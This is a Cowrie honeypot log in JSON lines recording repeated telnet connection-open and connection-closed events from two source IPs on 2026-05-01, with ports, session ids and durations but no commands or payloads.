{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":48962,"dst_ip":"10.17.0.5","dst_port":23,"session":"b086a3c299d6","protocol":"telnet","message":"New connection: 62.182.85.24:48962 (10.17.0.5:23) [session: b086a3c299d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:14.719820Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57052,"dst_ip":"10.17.0.5","dst_port":23,"session":"0477a6315dc8","protocol":"telnet","message":"New connection: 62.182.85.24:57052 (10.17.0.5:23) [session: 0477a6315dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:14.772110Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54748,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5893a7a41c","protocol":"telnet","message":"New connection: 194.163.135.148:54748 (159.203.135.109:23) [session: 7f5893a7a41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:15.883512Z"}
{"eventid":"cowrie.session.closed","duration":31.000176429748535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:16.268542Z","src_ip":"62.182.85.24","session":"696888062c4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54750,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f951a902f17","protocol":"telnet","message":"New connection: 194.163.135.148:54750 (159.203.135.109:23) [session: 6f951a902f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:16.574067Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":46474,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ad3a098bbe1","protocol":"telnet","message":"New connection: 62.182.85.24:46474 (10.17.0.5:23) [session: 1ad3a098bbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:16.936117Z"}
{"eventid":"cowrie.session.closed","duration":30.695114374160767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:17.187933Z","src_ip":"62.182.85.24","session":"6c0aaba9479c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf7422636398","protocol":"telnet","message":"New connection: 194.163.135.148:54756 (159.203.135.109:23) [session: bf7422636398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:17.590117Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":54316,"dst_ip":"10.17.0.5","dst_port":23,"session":"b36eafcef25e","protocol":"telnet","message":"New connection: 62.182.85.24:54316 (10.17.0.5:23) [session: b36eafcef25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:17.947835Z"}
{"eventid":"cowrie.session.closed","duration":31.745193481445312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:17.998653Z","src_ip":"62.182.85.24","session":"a33077fb9ada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.332250118255615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:18.171944Z","src_ip":"62.182.85.24","session":"a552ba9ca67d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73031711578369,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:18.207513Z","src_ip":"62.182.85.24","session":"04c1266eab9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54766,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3ea562f9bc2","protocol":"telnet","message":"New connection: 194.163.135.148:54766 (159.203.135.109:23) [session: f3ea562f9bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:19.909006Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54774,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a2c95338113","protocol":"telnet","message":"New connection: 194.163.135.148:54774 (159.203.135.109:23) [session: 3a2c95338113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:21.026560Z"}
{"eventid":"cowrie.session.closed","duration":30.602333784103394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:22.231878Z","src_ip":"62.182.85.24","session":"7eaca926084d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54784,"dst_ip":"159.203.135.109","dst_port":23,"session":"b777d9b754a3","protocol":"telnet","message":"New connection: 194.163.135.148:54784 (159.203.135.109:23) [session: b777d9b754a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:22.661104Z"}
{"eventid":"cowrie.session.closed","duration":34.99478220939636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:22.748996Z","src_ip":"194.163.135.148","session":"085e4afee2f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47542381286621,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:23.212337Z","src_ip":"62.182.85.24","session":"833535726bfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86016035079956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:23.275498Z","src_ip":"62.182.85.24","session":"464d4dc49a65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.54567265510559,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:23.376237Z","src_ip":"62.182.85.24","session":"7d8630033cbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54788,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eeed6183fca","protocol":"telnet","message":"New connection: 194.163.135.148:54788 (159.203.135.109:23) [session: 0eeed6183fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:23.381709Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33320,"dst_ip":"10.17.0.5","dst_port":23,"session":"00806b57a1fa","protocol":"telnet","message":"New connection: 62.182.85.24:33320 (10.17.0.5:23) [session: 00806b57a1fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:23.615864Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":35588,"dst_ip":"10.17.0.5","dst_port":23,"session":"474090cf5abd","protocol":"telnet","message":"New connection: 62.182.85.24:35588 (10.17.0.5:23) [session: 474090cf5abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:23.661851Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44100,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eccb14eb2e0","protocol":"telnet","message":"New connection: 62.182.85.24:44100 (10.17.0.5:23) [session: 0eccb14eb2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:23.699788Z"}
{"eventid":"cowrie.session.closed","duration":30.96162748336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:24.252790Z","src_ip":"62.182.85.24","session":"c51c6bbd9a9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.403018712997437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:24.455996Z","src_ip":"62.182.85.24","session":"88ea3f36c42d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.893765926361084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:24.953319Z","src_ip":"62.182.85.24","session":"5c9fb323ce4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45375919342041,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:24.963334Z","src_ip":"194.163.135.148","session":"67145d6d4981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57180,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0cf8f65d358","protocol":"telnet","message":"New connection: 62.182.85.24:57180 (10.17.0.5:23) [session: d0cf8f65d358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:25.344753Z"}
{"eventid":"cowrie.session.closed","duration":32.74696469306946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:25.857345Z","src_ip":"194.163.135.148","session":"17c02c78fd74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.529749155044556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:26.835233Z","src_ip":"62.182.85.24","session":"ded5ef25331c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":43582,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac41240d6ec3","protocol":"telnet","message":"New connection: 62.182.85.24:43582 (10.17.0.5:23) [session: ac41240d6ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:27.071664Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":45006,"dst_ip":"10.17.0.5","dst_port":23,"session":"e32c22622b14","protocol":"telnet","message":"New connection: 62.182.85.24:45006 (10.17.0.5:23) [session: e32c22622b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:27.304832Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":49750,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef84509b2de0","protocol":"telnet","message":"New connection: 62.182.85.24:49750 (10.17.0.5:23) [session: ef84509b2de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:27.859398Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"43417cae6b94","protocol":"telnet","message":"New connection: 62.182.85.24:50440 (10.17.0.5:23) [session: 43417cae6b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:27.952481Z"}
{"eventid":"cowrie.session.closed","duration":35.107335805892944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:28.226471Z","src_ip":"194.163.135.148","session":"b1ea0ef767a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.559329748153687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:28.247982Z","src_ip":"62.182.85.24","session":"c726d99a0a20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54812,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbdf81f19d06","protocol":"telnet","message":"New connection: 194.163.135.148:54812 (159.203.135.109:23) [session: fbdf81f19d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:29.315435Z"}
{"eventid":"cowrie.session.closed","duration":30.876728057861328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:29.319582Z","src_ip":"62.182.85.24","session":"813be5059742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5502769947052,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:29.337074Z","src_ip":"62.182.85.24","session":"ec3e68f48154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33836,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8f22c3b2582","protocol":"telnet","message":"New connection: 62.182.85.24:33836 (10.17.0.5:23) [session: d8f22c3b2582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:29.427240Z"}
{"eventid":"cowrie.session.closed","duration":31.217764854431152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:29.485325Z","src_ip":"62.182.85.24","session":"1ca5a08ea20c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":34342,"dst_ip":"10.17.0.5","dst_port":23,"session":"0600989511af","protocol":"telnet","message":"New connection: 62.182.85.24:34342 (10.17.0.5:23) [session: 0600989511af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:29.492711Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44484,"dst_ip":"10.17.0.5","dst_port":23,"session":"88dee0094bcb","protocol":"telnet","message":"New connection: 62.182.85.24:44484 (10.17.0.5:23) [session: 88dee0094bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:30.706415Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":51318,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d7e4661d8dd","protocol":"telnet","message":"New connection: 62.182.85.24:51318 (10.17.0.5:23) [session: 2d7e4661d8dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:31.558679Z"}
{"eventid":"cowrie.session.closed","duration":36.568758964538574,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:31.762672Z","src_ip":"194.163.135.148","session":"a828b371b702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.647456169128418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:31.995414Z","src_ip":"62.182.85.24","session":"9d9f8f94126f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":59414,"dst_ip":"10.17.0.5","dst_port":23,"session":"6995a8e054de","protocol":"telnet","message":"New connection: 62.182.85.24:59414 (10.17.0.5:23) [session: 6995a8e054de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:32.576933Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57240,"dst_ip":"10.17.0.5","dst_port":23,"session":"94bffb41362f","protocol":"telnet","message":"New connection: 62.182.85.24:57240 (10.17.0.5:23) [session: 94bffb41362f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:32.668442Z"}
{"eventid":"cowrie.session.closed","duration":0.0053212642669677734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:32.673656Z","src_ip":"62.182.85.24","session":"94bffb41362f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55142,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25b39c74d9e","protocol":"telnet","message":"New connection: 62.182.85.24:55142 (10.17.0.5:23) [session: e25b39c74d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:33.568572Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":45504,"dst_ip":"10.17.0.5","dst_port":23,"session":"f920fe588e5b","protocol":"telnet","message":"New connection: 62.182.85.24:45504 (10.17.0.5:23) [session: f920fe588e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:33.890145Z"}
{"eventid":"cowrie.session.closed","duration":33.052119731903076,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:33.906527Z","src_ip":"194.163.135.148","session":"7f79cf4bb80a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.84374499320984,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:34.159480Z","src_ip":"62.182.85.24","session":"d349ab329f32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009884119033813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:34.306552Z","src_ip":"62.182.85.24","session":"960a542f4a1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.718584537506104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:36.249811Z","src_ip":"62.182.85.24","session":"530e22236bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.499194622039795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:36.535581Z","src_ip":"62.182.85.24","session":"b92b7e3b9127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":54900,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e4e64287b41","protocol":"telnet","message":"New connection: 62.182.85.24:54900 (10.17.0.5:23) [session: 6e4e64287b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:36.622465Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":38616,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8df23d6760c","protocol":"telnet","message":"New connection: 62.182.85.24:38616 (10.17.0.5:23) [session: b8df23d6760c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:37.143145Z"}
{"eventid":"cowrie.session.closed","duration":30.422895193099976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:37.169987Z","src_ip":"62.182.85.24","session":"3df183f3efd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.513124227523804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:37.215151Z","src_ip":"62.182.85.24","session":"1973e70dcb6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53060,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5590354c520","protocol":"telnet","message":"New connection: 62.182.85.24:53060 (10.17.0.5:23) [session: b5590354c520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:39.012717Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55852,"dst_ip":"10.17.0.5","dst_port":23,"session":"d905962f48cb","protocol":"telnet","message":"New connection: 62.182.85.24:55852 (10.17.0.5:23) [session: d905962f48cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:39.399247Z"}
{"eventid":"cowrie.session.closed","duration":30.87391948699951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:40.254501Z","src_ip":"62.182.85.24","session":"c7ba65184f6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2118022441864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:40.747503Z","src_ip":"62.182.85.24","session":"f80c62a88b03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.867069244384766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:40.837689Z","src_ip":"62.182.85.24","session":"41acdcede778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540116548538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:41.069662Z","src_ip":"194.163.135.148","session":"e9c60e60c21e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78954553604126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:41.212312Z","src_ip":"62.182.85.24","session":"318bed496ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44568,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc18111efc52","protocol":"telnet","message":"New connection: 62.182.85.24:44568 (10.17.0.5:23) [session: cc18111efc52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:41.511013Z"}
{"eventid":"cowrie.session.closed","duration":31.55932378768921,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:41.958666Z","src_ip":"62.182.85.24","session":"0385b86fbcad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":41280,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc19120c9f43","protocol":"telnet","message":"New connection: 62.182.85.24:41280 (10.17.0.5:23) [session: fc19120c9f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:42.099487Z"}
{"eventid":"cowrie.session.closed","duration":30.970380783081055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:42.410460Z","src_ip":"194.163.135.148","session":"0a1f01479574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102959156036377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:42.651510Z","src_ip":"62.182.85.24","session":"737dc286ea3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57752,"dst_ip":"10.17.0.5","dst_port":23,"session":"cead827cf3cf","protocol":"telnet","message":"New connection: 62.182.85.24:57752 (10.17.0.5:23) [session: cead827cf3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:43.120032Z"}
{"eventid":"cowrie.session.closed","duration":32.71303153038025,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:43.259236Z","src_ip":"194.163.135.148","session":"12f93241f781","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.555891036987305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:43.286241Z","src_ip":"62.182.85.24","session":"a529a80a62d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":59054,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e1dca8370ae","protocol":"telnet","message":"New connection: 62.182.85.24:59054 (10.17.0.5:23) [session: 1e1dca8370ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:43.312965Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":36392,"dst_ip":"10.17.0.5","dst_port":23,"session":"d50c9bf83265","protocol":"telnet","message":"New connection: 62.182.85.24:36392 (10.17.0.5:23) [session: d50c9bf83265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:43.981837Z"}
{"eventid":"cowrie.session.closed","duration":31.53809666633606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:44.968193Z","src_ip":"62.182.85.24","session":"0e7a42adeb26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.304108381271362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:45.076099Z","src_ip":"62.182.85.24","session":"0477a6315dc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":41876,"dst_ip":"10.17.0.5","dst_port":23,"session":"a27283439cc2","protocol":"telnet","message":"New connection: 62.182.85.24:41876 (10.17.0.5:23) [session: a27283439cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:45.214227Z"}
{"eventid":"cowrie.session.closed","duration":31.001157999038696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:45.233011Z","src_ip":"62.182.85.24","session":"71b43ba8f9b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.529327392578125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:04:45.249010Z","src_ip":"62.182.85.24","session":"b086a3c299d6","protocol":"telnet"}
